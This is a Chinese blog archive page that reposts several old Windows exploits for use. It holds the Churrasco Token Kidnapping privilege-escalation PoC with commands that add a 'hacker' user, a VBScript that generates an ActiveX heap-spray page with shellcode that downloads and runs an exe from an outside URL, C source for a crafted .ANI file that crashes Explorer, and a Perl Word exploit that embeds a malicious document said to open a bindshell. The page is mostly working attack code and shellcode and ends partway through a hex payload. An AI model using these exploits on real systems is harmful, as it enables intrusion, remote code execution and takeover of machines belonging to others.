存档

文章标签 ‘Exploit’

MS Windows 2003 Token Kidnapping Local Exploit PoC

2008年10月10日 没有评论 61 views

提权很好用,直接system。文章末尾贴个TR那里的测试图。
编译好的:
http://www.blogjava.net/Files/baicker/Churrasco.rar (via 009

From:http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.html

It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf)
was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.

Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows
services accounts can impersonate. Other process (not services) that can impersonate are IIS 6 worker processes
so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide
shared hosting services then I would recomend to not allow users to run this kind of code from ASP.

-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:

exec xp_cmdshell 'churrasco "net user /add hacker"'

-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...

You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip

backup link: http://milw0rm.com/sploits/2008-Churrasco.zip

Enjoy.

Cesar.

# milw0rm.com [2008-10-08]

啥也不说了上图才是王道:

 

分类: 资源共享 标签:

联众ConnectAndEnterRoom ActiveX控件栈溢出漏洞(exp)

2007年11月24日 没有评论 54 views

exeurl = InputBox( "请输入下载执行exe的地址:", "输入","http://np.icehack.com/np.exe" )
'code by NetPatch
if exeurl <> "" then
code="\xe9\xf3\x00\x00\x00\x90\x90\x90\x90\x5a\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x8b\xd8\x8b\x73\x3c\x8b\x74\x1e\x78\x03\xf3\x8b\x7e\x20\x03\xfb\x8b\x4e\x14\x33\xed\x56\x57\x51\x8b\x3f\x03\xfb\x8b\xf2\x6a\x0e\x59\xf3\xa6\x74\x08\x59\x5f\x83\xc7\x04\x45\xe2\xe9\x59\x5f\x5e\x8b\xcd\x8b\x46\x24\x03\xc3\xd1\xe1\x03\xc1\x33\xc9\x66\x8b\x08\x8b\x46\x1c\x03\xc3\xc1\xe1\x02\x03\xc1\x8b\x00\x03\xc3\x8b\xfa\x8b\xf7\x83\xc6\x0e\x8b\xd0\x6a\x04\x59\xe8\x6a\x00\x00\x00\x83\xc6\x0d\x52\x56\xff\x57\xfc\x5a\x8b\xd8\x6a\x01\x59\xe8\x57\x00\x00\x00\x83\xc6\x13\x56\x46\x80\x3e\x80\x75\xfa\x80\x36\x80\x5e\x83\xec\x40\x8b\xdc\xc7\x03\x63\x6d\x64\x20\x43\x43\x43\x43\x66\xc7\x03\x2f\x63\x43\x43\xc6\x03\x20\x43\x6a\x20\x53\xff\x57\xec\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33\xc0\x50\x50\x53\x56\x50\xff\x57\xfc\x8b\xdc\x6a\x00\x53\xff\x57\xf0\x68\x51\x24\x40\x00\x58\xff\xd0\x33\xc0\xac\x85\xc0\x75\xf9\x51\x52\x56\x53\xff\xd2\x5a\x59\xab\xe2\xee\x33\xc0\xc3\xe8\x0c\xff\xff\xff\x47\x65\x74\x50\x72\x6f\x63\x41\x64\x64\x72\x65\x73\x73\x00\x47\x65\x74\x53\x79\x73\x74\x65\x6d\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x41\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x75\x72\x6c\x6d\x6f\x6e\x00\x55\x52\x4c\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x54\x6f\x46\x69\x6c\x65\x41\x00"&Unicode(exeurl&Chr(00)&Chr(00))
Function Unicode(str1)
Dim str,temp
str = ""
For i=1 to len(str1)
temp = Hex(AscW(Mid(str1,i,1)))
If len(temp) < 5 Then temp = right("0000"&temp, 2)
str = str & "\x" & temp
Next
Unicode = str
End Function
function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("netpatch.htm",8,true)
fileS.writeline "<html>"
fileS.writeline "<object classid=""clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69"" id='target'></object>"
fileS.writeline "<body>"
fileS.writeline "<SCRIPT language=""JavaScript"">"
fileS.writeline "var shellcode = unescape("""&replaceregex(code)&""");"
fileS.writeline "var bigblock = unescape(""%u9090%u9090"");"
fileS.writeline "var headersize = 20;"
fileS.writeline "var slackspace = headersize+shellcode.length;"
fileS.writeline "while (bigblock.length<slackspace) bigblock+=bigblock;"
fileS.writeline "fillblock = bigblock.substring(0, slackspace);"
fileS.writeline "block = bigblock.substring(0, bigblock.length-slackspace);"
fileS.writeline "while(block.length+slackspace<0x40000) block = block+block+fillblock;"
fileS.writeline "memory = new Array();"
fileS.writeline "for (x=0; x<300; x++) memory[x] = block +shellcode;"
fileS.writeline "var buffer = '';"
fileS.writeline "while (buffer.length < 164) buffer+=""A"";"
fileS.writeline "buffer=buffer+""\x0a\x0a\x0a\x0a""+buffer;"
fileS.writeline "ok=""ok"";"
fileS.writeline "target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok );"
fileS.writeline "</script>"
fileS.writeline "</body>"
fileS.writeline "</html>"files.Close
Set fso=nothing
msgbox "生成完毕!"
end if

分类: 矩阵毒刺 标签:

Windows Explorer Unspecified .ANI File Exploit

2007年4月9日 没有评论 54 views

/****************************************************************************
* MS Windows Explorer Unspecified .ANI File DoS *
* *
* *
* Another .Ani bug that freezes Explorer if you open a folder that contains *
* a crafted file. *
* *
* Tested against Win XP SP2 FR. *
* Have Fun! *
* *
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

unsigned char Ani_headers[] = 
"\x52\x49\x46\x46\x08\x4d\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\x06\x00\x00\x00\x06\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00"
"\x0a\x00\x00\x00\x01\x00\x00\x00\x72\x61\x74\x65\x18\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00"
"\x03\x00\x00\x00\x03\x00\x00\x00\x4c\x49\x53\x54\xa8\x4c\x00\x00"
"\x66\x72\x61\x6d\x69\x63\x6f\x6e\xbe\x0c\x00\x00\x00\x00\x02\x00"
"\x01\x00\x20\x20\x00\x57\x57\x57\x57\x00\xa8\x0c\x00\x00\x16\x00"
"\x00\x00\x03" //Change this last char to avoid crash
;

int main(int argc, char* argv[])
{
FILE* anifile;
char evilbuff[4000];
printf("[+] MS Windows Explorer Unspecified .ANI File DoS\n");
printf("[+] Coded by Marsu <Marsupilamipowa@hotmail.fr>\n");
if (argc!=2) {
printf("[+] Usage: %s <file.ani>\n",argv[0]);
return 0;
}

memset(evilbuff,'A',4000);
memcpy(evilbuff,Ani_headers,sizeof(Ani_headers)-1);

if ((anifile=fopen(argv[1],"wb"))==0) {
printf("[-] Unable to access file.\n");
return 0;
}
fwrite( evilbuff, 1, 4000, anifile );
fclose(anifile);
printf("[+] Done. Have fun!\n");
return 0;

}

分类: 矩阵毒刺 标签:

Microsoft Word 2000/2003 Local Buffer Overflow Exp

2006年11月6日 没有评论 55 views

#!/bin/perl
#
# Microsoft Word hlink 0-day by SYS 49152

# this POC works only with:
# win 2ksp4 ENG + word 2000/XP all versions. 
# win XP ENG sp1/sp2 + word XP 2002 SP3.
#
# Word 2003 is not vulnerable.
#
# bindshell on port 49152

# hey kids.. I hope you know how to use winzip :-)
#
# to get in contact with me.. gforce@operamail.com
# I always like to talk with skilled people.. 


my $all = "\x50\x4B\x03\x04\x14\x00\x00\x00\x08\x00\x99\x3D\xE9\x34\xD6\xA6\xCB\xA3\xA9\x0D\x00\x00\x00\x72\x00\x00\x0D\x00\x00\x00\x77\x6F\x72\x64\x68\x6C".
"\x69\x6E\x6B\x2E\x64\x6F\x63\xED\x5D\x0B\x70\x54\xD5\x19\xFE\xEF\x3E\x42\x36\xC9\x62\x48\x42\x40\xC4\x70\xC1\xA0\xE1\x91\x64\x93\x00\x42\x50\x0C".
"\x49\x40\x12\x5E\x09\x01\x91\xE9\xD4\xB0\x64\x77\xB3\x1B\x36\xBB\xCB\xEE\x46\x12\xB5\xD3\xB4\x56\x84\x2E\x3A\xB1\xD4\xB1\x8E\xF8\x6A\xE9\x60\x05".
"\x3A\x58\xDB\x19\xA6\xE3\xB4\xF8\x9E\x56\xAB\x69\x3B\x52\x6D\x3B\x0C\xA2\x54\x2D\x6A\x91\x50\x29\x33\xCA\xED\xF7\xDF\x73\x6F\xB2\x6C\x08\x4B\x22".
"\x0C\xAF\xFB\x9D\xF9\xEE\x79\xDE\xFF\x3F\xE7\xDC\x73\xEF\x79\xEC\x39\x49\xF7\xDB\x23\x0E\x3C\xFD\xDC\x98\xF7\x29\x01\x73\xC8\x4C\x27\x15\x1B\xA5".
"\xC4\x85\x49\xE0\x34\xDD\x93\x49\x34\x43\x0B\x3B\xA9\x28\x0A\x07\x95\x81\x8A\x81\x4B\x0A\x9F\xFE\xFC\x45\xB2\x56\xD8\x2C\x44\xFF\xCB\xFA\x7D\xEF".
"\x93\x05\xF0\xE0\xCB\xB3\x89\x86\xD3\x9A\x96\x35\x2D\x9F\xCF\xFF\x7C\x3E\xF5\x83\xCD\x92\x4B\x85\x63\x88\x36\x4F\x15\x2C\x4F\xEF\x9F\x26\x1E\x8A".
"\x72\x55\x52\xB7\x8E\x8D\xEA\xF5\x05\x13\xF5\xDA\xF1\xEE\x81\xEC\x9C\x38\x09\xDD\x5A\xF8\x8F\xAD\x03\xDB\x19\xB0\x9F\xD2\x6C\x3D\xFD\x93\xC3\x88".
"\x8E\xA2\x59\xEF\x41\x78\x01\xFC\x07\xB4\xF4\x83\xB5\xF3\x20\x87\x45\xCA\xC3\x84\xFF\x6C\xEC\x7C\xD8\x0F\xD9\x88\x96\xE1\xC6\x0F\x50\x9B\x95\xF0".
"\x57\x23\x7C\x24\xF5\x87\x5E\x6E\x5D\x5F\x22\x92\xE5\xAF\x7A\xD8\xA9\xE9\x13\xEB\x33\x51\xAE\xEE\x5F\x85\xFB\x72\x61\xFF\x4B\xFB\x34\x24\xDA\x9C".
"\x8E\x1B\x4B\xA2\x9C\x44\x7F\x5E\x82\x7E\xFD\xFE\xC1\xE2\x6C\xE5\xE9\xFE\xC4\x72\x0E\x15\xF1\xE5\x65\xEC\xD4\xDA\x51\x45\x75\xB0\xDC\xF3\xB3\xD7".
"\x24\x3D\x9D\xDE\xDE\xAE\x47\xFA\x07\xA9\x7F\xBE\xF4\x7C\x07\x61\x3B\x48\xB4\x3F\x8A\x4B\x37\x31\x43\xD8\xBF\x86\x7F\x6C\x9C\x3F\x51\x8E\xDE\x7E".
"\xBB\x13\xCA\x37\x90\x9D\x08\x5D\xAE\x0E\x3D\x1D\xEB\x99\x49\xFD\xDB\x4F\x62\xF9\x07\x6A\x87\x89\x48\xD6\x1E\x75\x3B\xBE\x3C\xAF\x98\xFA\xEA\x51".
"\x47\x77\x8A\x68\x87\x89\xE5\xD6\xD3\x99\x48\xEA\x7D\x06\x06\x0C\x18\x38\x1D\xB2\xE5\x05\xAB\xEA\xE6\x2D\x5B\x54\xB3\x64\xA1\x3C\xC1\x1B\x8D\x86".
"\xCA\x8B\x8B\x9D\x67\x05\xD7\x65\x04\xB7\x81\x73\x0E\x8F\x81\x0B\x86\xE6\xF3\x8C\x0B\xA8\xDA\xC0\x59\xC0\x6B\xC0\x40\x12\xF8\x0C\xA8\x58\x9B\x2C".
"\xC1\x40\x28\x9E\x20\xE5\x04\xFD\xFE\x8E\xF1\x23\x23\x5E\x5F\x74\xBC\xDC\xB0\xAA\x41\x9E\x36\xAB\x64\x7A\xA9\x6C\x5B\xEC\x6B\x0A\x07\x23\x41\x4F".
"\x54\x5E\x19\x0C\xBB\x64\xAF\xDF\x17\x58\x2B\x3B\x0A\x5D\xCE\x0E\xBB\x7D\x8D\x2F\xE0\x8A\x78\xDD\x7E\xBF\x1C\x0C\xC8\xA1\x60\x38\xAA\xDD\x64\xB7".
"\x37\xF9\x7D\x4D\x6B\x39\x54\x95\x2A\x17\xD8\xED\x51\xAF\x2F\x22\xD7\x2D\xAD\x92\xD7\x07\xC3\x6B\x23\x88\xF2\x77\xC8\xEB\x7D\x51\x6F\xB9\x7D\xA5".
"\x2F\x20\x97\xAE\x8D\x84\xA6\xC9\xF3\x96\xDC\x2A\x4F\x11\x7A\x4A\x1D\x0E\x47\xF1\xED\x75\xB2\x13\xC2\xEF\x74\x87\x23\xBE\x60\x20\x52\xA4\x26\x45".
"\x60\x24\x54\x52\x1C\x09\x95\xC6\xA7\x47\x28\x6E\x29\x45\x54\x59\x91\xDD\xAE\x8B\x28\x93\xA1\x34\x10\x8C\xCA\x77\xB6\xF9\x03\xEE\xB0\x73\x8D\xDF".
"\x8D\xD8\x68\x50\x6E\x76\x47\x65\xC8\x6A\x0A\x06\xA2\xCE\xA6\xA8\x9A\x11\xB9\xD5\x5D\x54\x24\x9F\x32\x88\x6C\x75\xFA\xFC\xD1\x60\x79\xB3\x27\x18".
"\x6E\x72\x57\x04\x43\x90\xC0\x41\x45\x4D\xC1\xD6\x09\xB2\x94\x73\xBA\xF0\x91\x76\x7B\x24\xEA\xEC\x90\xA3\x6D\x01\xB7\x0B\xF2\x64\xB9\x35\x18\x76".
"\x43\x57\xD4\x1D\x76\x47\xA2\xBE\x40\xB3\x8C\x9A\x08\x34\x47\x64\x27\x82\x51\x41\x51\xAF\x5B\x5E\x8F\x1B\x90\x56\xAB\xA4\xA6\xA0\xCB\xCD\xF9\x86".
"\x74\xD9\xED\x6A\x6B\x72\x46\x51\x78\xA7\x5F\x0E\xB5\x85\x43\xC1\x88\x5B\xAD\xBA\xA9\x72\x8D\xEC\x0A\x06\x7E\x14\xE5\x0A\x0A\xAE\x97\x9D\x81\x8E".
"\x60\xC0\x2D\xA3\x64\x6D\x48\xE1\x43\x70\xB3\xD3\x17\x88\x44\xE5\xB9\x4B\x56\xC9\x7E\xE7\x7A\x94\xBA\x12\xEA\xE5\x65\xEE\x66\x67\xD8\x15\x91\xE1".
"\xEF\x7D\xC6\x76\x7B\xB2\x91\xF5\x25\x02\xCC\xA2\xA5\x54\xA2\x9B\x47\x10\xCD\x01\x6F\x01\xAB\xC1\x79\xE0\x0A\xD0\x0D\xB6\x80\x8F\x81\x5B\xC1\x27".
"\xC0\xED\xE0\x41\xF0\x03\xF0\x28\xF8\x25\x98\x96\x45\x94\x0E\x16\x80\xF3\xC0\xF9\x60\x10\x0C\x81\xEB\xC0\xFB\xC0\x0D\xE0\xB8\x6C\xA2\xC2\x6C\xB1".
"\xB6\x78\xBC\xE7\xE3\xE3\x07\x8F\xEF\xFF\xFB\xFE\x9E\xBF\xF6\xBC\xBD\xBF\x67\xFF\x1B\xFB\x71\x3D\xDE\xB3\x17\x81\x3D\x2F\xF4\x24\xCB\xF8\xA5\x8D".
"\x94\x5C\xEF\x86\xD5\x0A\xD1\x48\x53\xEA\xF7\xCC\x2D\x7F\x46\xCD\xA4\xA4\x4A\xB9\xDE\xED\x95\x5B\x68\x45\xAA\x84\x58\x4B\xEA\xFB\x6A\xAA\x07\x26".
"\xFE\x8E\x28\xC3\xD6\x62\xA6\xDA\x23\x22\x9E\x43\xEF\x2C\xAC\x51\xED\xC6\x75\x8F\xA2\xEE\x45\xB8\xA3\x36\x53\x97\xA7\x6A\x38\x55\x9E\x7A\xE7\x55".
"\x22\xAA\x37\x9C\xF2\xF8\xF9\xAF\xC3\xF3\x0B\x83\x31\x70\x33\xF8\xB8\xF6\x9C\xF7\x68\xCF\x38\xFE\xD9\x4E\x02\xEF\x07\x37\x82\x2F\x81\x2F\x83\x79".
"\xD9\xE2\xB9\x16\x81\xC5\xE0\x2C\xED\xF9\x7E\x1D\x5F\x60\xC3\x93\xE0\xB9\xE0\xE0\xD5\xB1\x5C\x7D\x9D\xFF\xE2\xCA\x9A\x81\xF3\x0F\x8B\x85\x24\x49".
"\x9A\x42\x25\x5D\x5E\x69\xB6\xC3\x34\x6E\x77\x77\xB1\xBC\xFB\xC0\xCD\xE3\x77\x07\x2C\x13\xC0\xEB\xBA\x02\x96\x7C\x70\xE2\x6E\xA2\x51\xF0\x8F\x06".
"\x93\x89\x34\x70\xC9\x81\x7B\x9E\xEA\x64\x89\x92\xA1\xFB\x0F\xFF\xEE\x38\xF1\xDB\xB7\x46\x6C\xFE\x3E\x3D\x4B\x0B\x7F\x91\xCE\x2B\xF1\x66\xF0\x40".
"\x42\xF8\x6A\x28\xF3\x52\x14\x26\x44\xE5\x54\x0C\xE3\x3C\x87\xC6\x65\x98\x8B\xD2\xB8\x0D\x63\x98\x4B\xC0\x78\x0C\x63\x98\x2B\xD0\x34\x5F\xE2\x26".
"\x59\xF9\x2E\xCF\x52\x1B\xC6\x30\xE7\xC6\x78\x0D\x63\x18\xC3\x9C\x67\x73\x38\xAD\xAB\x6B\xF1\x81\xE7\x1C\xAA\x3B\xA5\xAB\xCB\x53\xBB\xE4\x9E\xAE".
"\xAE\xAF\x5A\x0E\x2F\xFE\xF8\x84\xA2\x28\xAB\x63\xFE\xFC\xFC\xD8\xBC\x9B\x62\xF7\x58\xDB\xA5\xFF\xC4\x96\x8E\x8E\x35\xCA\xD2\xE1\x9A\xD8\xB4\x98".
"\xF4\x79\xC9\xDE\x47\x77\xFE\x60\x6F\x74\xD8\x8B\x7F\xB4\x4B\x2F\x1D\x3E\x36\x7B\x79\x7E\x41\xDB\xA1\x58\x63\xBE\x74\xD8\x13\xCB\x58\x18\x6B\x1C".
"\x2B\x1D\x36\x4F\x8D\x6D\xF2\xE7\x8F\x75\xBE\x5C\xF2\x0F\x57\xAC\xCA\x11\xAB\xC8\x88\x85\xC6\xEE\x8A\x55\xA4\xDE\xE1\x7D\x70\xC9\xF0\x4F\xEB\x94".
"\x7D\x9E\x06\x8F\xB7\xAC\xD4\xBB\x3E\x52\xDA\xB8\x5C\xE9\xF6\xBE\xF1\xD9\x57\xB3\x11\xDA\xB8\xE9\x90\xE7\x7B\x9F\xA5\x9A\x56\xB4\x98\x10\xF8\x9E".
"\xED\xBF\xBB\x56\x2A\xFB\x1A\x18\x55\x30\x4A\xB7\xC7\xBB\x97\x3C\x0D\x9B\xDE\x7F\xD8\xBB\x6D\x4C\xE8\x75\xC4\xB5\x64\xD6\xAF\x40\xCA\x6D\xBB\x8A".
"\x3E\xE1\x94\xEC\x3E\x54\xB3\xA1\x06\xEE\xBA\xE5\xCB\xE1\xDB\xE2\xFD\xA8\xE3\xB5\x0E\x78\xE1\xF6\xB4\xB8\x3C\xDE\xA6\xD6\x4D\x87\x5A\xEA\x56\x4D".
"\x7A\x73\xD3\x47\x2D\xD5\x9B\x0E\x96\xEC\xED\x79\xF6\x64\x65\xE1\xC9\xCA\xA9\x5B\x1E\xB8\x6B\xE6\x8E\x1D\x3B\xBC\xE1\x93\xCF\xE7\x2A\x6D\xD5\xCA".
"\xBE\x6F\xAD\x5C\x56\x5F\x5F\xDF\x22\xD5\xD7\xAF\xA8\x87\xD8\x5D\xEF\x59\xDF\x6A\x80\x42\x45\xB9\x51\xE9\x8E\xAD\xFC\xEA\xDE\x57\x5C\xCA\xBE\x65".
"\x88\x38\xF2\x43\x4B\x23\x22\x94\x6E\xF2\x19\xE6\x22\x36\x6B\x93\xA6\x38\xD7\xA6\x98\x88\xFE\x46\xE7\x69\x41\x6B\x14\x89\x7D\xD8\x3C\xE0\x0C\x52".
"\x98\x9A\x30\x65\xAC\x80\x2B\x04\x3B\x4C\x4E\x6A\x05\x7D\xE4\xA7\x22\xC4\x04\xE1\xEB\xBF\xFC\xC5\xBB\x68\xF5\x54\x51\xA4\x29\x1F\x84\xAC\xF3\x85".
"\x1C\x94\x29\x8B\x24\xDA\x4A\x57\xA9\x4B\x76\x02\x2E\xA2\x8A\x2F\x14\x13\xEC\xBE\x4D\xC1\x29\xB4\x44\xCD\x2B\xE7\xCD\x0F\xFF\x08\xD0\x9C\x4F\x93".
"\xF3\xA5\x92\x7C\x9A\x9B\x4F\xCE\x7C\xA2\x29\x54\x39\x99\xAA\x6A\x47\xD3\xD2\x5A\x0B\xD5\xD5\x5A\xA9\x1E\xF6\x1D\xB5\x29\xD4\xB8\x40\x21\x67\x6D".
"\x0E\xB5\x2E\xB0\x59\x22\x60\x74\x81\xD2\x3F
\x2F\xFC\xE0\xE6\xD2\x51\xE5\x69\xD8\x19\xBD\x7B\x77\x73\xE1\xE3\xC9\xB9\x93\xDA\xD4\x7A\x93\xA9\x0E".
"\x6E\xAE\xA5\x66\xF5\x1A\xC2\x07\x55\xA6\xF9\xC8\x5B\x00\xB1\x8C\xDB\x50\x77\x3D\xCA\xF3\xB0\xFB\xA4\x64\xD0\x72\xA4\x5D\x03\x09\x6E\xA4\x3E\xB5".
"\x24\x32\x95\xDF\x96\x4E\xA3\xBE\x44\xF9\xA7\xED\x4B\x21\xC9\xAA\x3B\xD2\xCC\x7E\x72\x72\xB0\x89\xF8\x68\x43\x01\x9A\xF4\x31\xE5\x45\x3E\x15\xD0".
"\x2B\x77\x98\x2A\x4B\xA6\x45\xD0\x19\x51\xF5\x9B\xB4\x3A\xAB\xA5\x93\x4B\x8F\x2A\x5F\xC0\xEE\xAB\xC3\xAB\x51\xBE\x35\x48\xE7\x44\xCA\xBB\xA8\x90".
"\x1A\x60\x3B\x91\x6F\x97\x5A\x22\x17\x62\x9A\x50\x9A\x30\x64\x79\xD4\x98\xB0\x56\xA2\x19\xB4\xA2\xE2\xA8\x22\x49\x33\xE2\x64\xD9\x68\x01\x75\x68".
"\x2D\xC6\x8F\x3B\x02\xC8\x1D\x97\xB3\x72\xB2\x2D\xE4\x25\xEA\xA4\x39\x93\x91\xBE\xB2\x42\xA2\xAC\x84\xFB\x2A\x91\x63\x17\xEE\x95\x51\x27\x6E\x6A".
"\x57\x75\xA4\xE1\x79\x66\x6F\x43\x7B\xD8\xD6\x4E\x5C\xD2\xE2\x8A\x11\xD2\x04\xA9\x20\xEE\x3E\xCB\x29\x65\xCC\x22\xF1\x60\xB9\x94\x12\x95\x4A\xF1".
"\xA5\x4C\xA5\x2A\xF5\xB9\x44\x91\x9E\x9F\x4A\x09\xC2\xEC\x94\x0D\xF9\xED\xAA\xFC\x8C\x7C\xE4\x89\x66\xA4\x4A\x55\x68\x11\xDF\x4E\x95\x58\x0E\x37".
"\x8E\x22\x55\x56\xA5\x54\x14\x27\xCB\x4A\x35\x6A\xFD\x70\x3E\xD9\x97\xA3\xDE\x2D\x74\x33\xF8\xCC\x09\x5C\x63\x38\x7F\x7C\x9E\x85\xC3\xD6\xD9\x88".
"\xC2\x60\x0C\xDC\x0C\x3E\x0E\x3E\x01\xEE\x01\x3F\x00\xD3\xD2\x88\xD2\xC1\x02\x70\x12\x78\x3F\xB8\x11\x7C\x09\x7C\x19\xCC\x83\xCC\x71\x60\x11\x58".
"\x0C\xCE\x02\x6F\x02\x7F\xC2\xC2\x1D\x5A\xC6\x3A\x35\x6A\x18\x74\x5C\xEA\x45\x14\x47\x67\x88\x3B\xD3\x7D\x8E\x21\xC6\xC9\xC2\x73\x4E\xF3\x92\x79".
"\x86\x38\x59\x78\xCE\xA9\xCC\xF3\x78\x9F\xFE\x9B\x6C\x5A\x9C\x3B\x3D\xCE\xAD\xBF\x1D\x73\xD0\x96\xAB\xC1\x79\x48\x18\x02\xEF\x4B\x13\xEF\x43\xF6".
"\xED\x39\xCA\xC8\x4E\x71\xE5\x74\xB7\x20\x4D\x0D\xE8\x06\x5B\xC0\xB5\x60\x48\x7B\x47\xEE\x06\x1F\x06\x1F\xB5\x89\x36\x3E\x8C\xC6\x6A\xB4\xC4\xB9".
"\x75\x29\x55\xAC\x4D\x93\xB6\xD0\xD6\xF7\xA6\xDD\xAD\xBD\x69\x0F\x69\x6F\xDA\x4F\x6D\xE2\xCD\x9A\xA2\xBD\x59\x9B\xC1\x47\xC0\xC7\xB4\x37\xEC\x75".
"\x30\x1F\xDA\x0A\xD3\x75\xAD\x65\x1A\x2D\x71\xEE\x81\xC8\x08\x69\x65\xD0\xDF\x4D\x33\xEE\x34\x6B\x71\x7A\xF9\x84\x64\x96\xC8\x95\x6E\x21\x51\xF9".
"\x87\xB4\xDA\xE3\xB4\xBC\x8D\x82\xB7\x42\xF0\x36\x8A\xEF\x84\x76\x52\xEB\xF4\x3D\xC4\x1B\x2E\x78\xF3\x05\x6F\xCF\x50\x2A\xCC\x9D\x52\xAF\xAE\x4C".
"\x9A\x29\x55\xC2\xB0\x5B\xCF\x03\xC3\x94\xA9\x89\xE4\xCA\x5F\xCD\xE9\x2A\xF8\x50\x9B\xA4\x2A\x59\xA1\x7E\x98\x03\xF8\x10\xAE\xC7\x95\x43\xB5\x16".
"\xA0\x42\xA4\x62\x9B\x3F\xAA\xE2\xF3\x15\xEF\xE6\x4C\xDE\x9A\xDB\x85\x44\x26\x53\x8A\xD9\x6A\xB1\x9A\xCC\x96\xFB\xEF\x52\x1B\x74\xA7\x2E\x47\x13".
"\x81\x8F\xB9\x0F\x5D\x9A\x1B\x9F\x68\xEE\xE0\xDC\xD0\x27\xD3\x32\x75\xF8\xC0\x5D\x0C\xD1\x74\xC8\x31\x91\xD5\x2A\x99\xA4\x61\x29\x26\xAB\x7E\x5C".
"\x2A\x93\xFA\xD0\xC9\x97\x06\x74\x0D\xAD\xE8\xA6\x82\x6A\xE7\x58\x76\xBD\xAA\x3D\x3D\xC5\x62\x62\x0C\xA8\x7D\xAE\xDA\x6D\x89\x0E\x75\x76\x8A\xAA".
"\x89\x12\x90\x19\xE7\xEE\xE4\xCB\x4A\xB5\xDB\x6A\xC6\xE7\x5D\xD8\x11\x84\xAD\xE3\xD2\x9E\xEE\xBC\x5B\x02\x2A\x71\x4F\x54\xED\x8E\xC2\x28\x2B\x0F".
"\x99\x64\x74\xF8\x62\xF8\x24\xA3\x0C\x6E\xAD\x1B\x4D\x5E\x2F\x4B\x53\xBA\x7A\xBB\xF3\x33\x21\x99\x46\x96\xC6\x25\xB8\xF9\x2C\xE5\x2D\xC2\x80\xA6".
"\x09\x32\xB9\xF3\x8F\xF4\xDE\x5D\x89\x86\x3A\x37\x75\xE3\x68\xA2\x57\x31\xEA\xF4\xAA\x92\x0E\x95\x6D\xDF\xF0\x69\xCD\xF6\x14\x4A\xAD\xB7\xDB\xD4".
"\xF6\xB3\x13\xE1\x0F\xDA\x78\x1C\xC2\xB5\x6C\xA1\x7B\xBB\x72\xFA\x85\xE6\x68\x7A\xC6\xEB\xE3\x3A\x4B\xBF\x2C\x18\x18\x04\x4A\xA7\x9D\xEA\x9F\x9E".
"\x2E\xF8\x4D\xC0\x13\x0B\xA7\x38\xB8\x56\x76\xAF\xFA\xAC\x2D\xFF\x3C\x53\xFA\x05\xEA\xB5\xE0\x08\x9F\x98\x95\x6E\x21\xFA\xD0\xA2\x1E\xB9\xFE\xEE".
"\x40\x54\x3F\x62\x4A\x96\x76\xB7\x15\x6D\x55\x37\x02\x96\x5E\xBF\x19\x03\xAC\x76\x75\x90\x65\xC0\x80\x81\x2B\x04\x27\x31\xCC\xC0\x88\xA0\x5F\x38".
"\x7F\x8B\x0E\xDC\xF7\xE4\xD1\x13\x4B\xBD\x99\x3B\x1E\x4A\xA5\x29\x37\x3C\xFF\x9E\x03\x61\xED\x88\xC8\xD2\xE2\x79\x0C\xCB\x77\x3E\x45\x62\xBB\xCF".
"\x6E\x12\x7D\xCC\x0B\x44\x6A\x07\xF4\x26\xA9\x43\x56\x7A\x97\xC4\x40\xE6\x43\x12\x23\xB0\x63\xC4\xB3\x50\x21\x84\x65\xF1\x2C\x9D\xC7\xBA\x05\x92".
"\x18\xE7\x4E\x93\xB4\x93\xD4\x12\xCF\x1B\xD1\x51\x4A\xFC\x77\x08\x88\x6E\x87\xCD\x7F\x29\x60\xB5\x24\xC6\x12\xDC\x39\x62\x38\x4C\x21\x49\xE4\x83".
"\x3F\x86\x79\x9A\xCE\x30\x03\xDD\x7F\x1E\x69\x93\x75\x78\xF3\xB4\x7C\xA9\x51\xA7\x89\x8B\x77\x73\x7E\x97\x04\xC3\xAD\x4E\xBF\x90\xC9\xE5\x6A\x6F".
"\x6F\x57\xDD\xAC\x6B\x16\x09\x37\x77\xB2\x09\xBB\xFD\x4B\x1C\x45\x0E\x1E\x01\x62\x7C\x3F\x26\x8F\x65\xAA\xEE\x77\x47\xBD\xBA\xD5\x32\xC7\xA4\xBA".
"\xDF\x7A\xF7\xB9\x45\x4F\xBF\x26\xA9\xEE\x3D\x35\xD7\xF2\x69\x71\xB3\xA6\x9F\x6D\xEE\xC6\xD9\xE6\xAE\xBC\x6F\x4D\xC6\x80\x01\x03\x06\x0C\x18\x30".
